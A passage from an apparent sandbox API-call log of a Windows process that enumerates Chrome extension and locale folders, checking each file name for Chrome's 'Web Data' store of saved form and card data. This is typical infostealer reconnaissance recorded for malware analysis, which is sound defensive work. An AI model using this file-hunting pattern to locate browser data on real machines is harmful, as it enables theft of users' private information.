Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_GB\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.706] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.706] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.706] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_US\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.707] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.707] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.707] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.707] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.707] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.707] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es_419\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.715] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.715] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.715] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\et\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.715] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.715] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.715] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\eu\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.717] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.717] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.717] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fi\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.717] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.717] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.717] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fil\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.718] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.718] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.718] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fr\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.718] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.718] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.718] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\he\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.719] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.719] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.719] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hi\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.719] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.719] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.719] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hr\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.720] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.720] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.720] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hu\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.721] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.721] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.721] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\id\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.721] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.722] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.722] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\it\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.722] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.722] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.722] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ja\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.724] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.724] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.724] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ko\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.725] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.725] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.725] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lt\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.725] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.725] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.726] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lv\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.726] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.726] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.726] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ms\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.726] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.727] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.727] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\nl\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.727] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.727] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.727] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\no\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.730] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.730] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.731] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pl\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.731] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.731] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.731] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_BR\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.732] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.732] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.732] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_PT\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.732] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.732] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.732] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ro\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.733] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.733] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.733] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ru\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.734] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.734] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.734] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sk\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.735] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.735] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.736] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sl\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.736] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.736] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.736] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sr\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.767] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.767] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.767] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sv\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.767] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.767] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.767] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\th\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.768] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.768] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.768] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\tr\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.768] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.768] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.768] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\uk\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.769] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.769] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.769] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\vi\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.769] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.769] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.769] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_CN\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.770] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.770] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.770] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_TW\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.770] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.770] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.771] FindClose (in: hFindFile=0x6428e8 | out: hFindFile=0x6428e8) returned 1 [0078.771] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_metadata\\*.*", lpFindFileData=0x12f4da | out: lpFindFileData=0x12f4da) returned 0x6428e8 [0078.771] StrStrIA (lpFirst="verified_contents.json", lpSrch="Web Data") returned 0x0 [0078.771] FindClose (in: hFindFile=0x6428e8 | out: hFindFile=0x6428e8) returned 1 [0078.771] FindClose (in: hFindFile=0x6428a8 | out: hFindFile=0x6428a8) returned 1 [0078.771] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\*.*", lpFindFileData=0x12f646 | out: lpFindFileData=0x12f646) returned 0x6428a8 [0078.772] StrStrIA (lpFirst="128.png", lpSrch="Web Data") returned 0x0 [0078.772] StrStrIA (lpFirst="manifest.json", lpSrch="Web Data") returned 0x0 [0078.772] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\*.*", lpFindFileData=0x12f4da | out: lpFindFileData=0x12f4da) returned 0x6428e8 [0078.815] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\ar\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.815] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.815] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.816] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\bg\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.816] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.816] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.816] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\ca\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.817] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.817] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.817] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\cs\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.818] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.818] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.818] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\da\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.818] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.818] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.819] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\de\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.819] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.819] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.819] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\el\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.820] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.820] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.820] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\en_GB\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.821] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.821] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.821] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\en_US\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.822] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.822] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.822] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\es\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.823] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.823] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\es_419\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.828] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.828] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\et\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.829] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.829] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\eu\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.830] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.830] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\fi\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.830] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.830] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\fil\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.831] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.831] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\fr\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.831] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.831] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\he\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.832] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.832] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\hi\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.833] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.833] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\hr\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.834] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.834] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\hu\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.834] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.834] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\id\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.835] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.835] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\it\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.835] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.835] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\ja\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.836] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.836] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\ko\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.837] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.837] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\lt\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.837] FindClose (in: hFindFile=0x642928 | out: 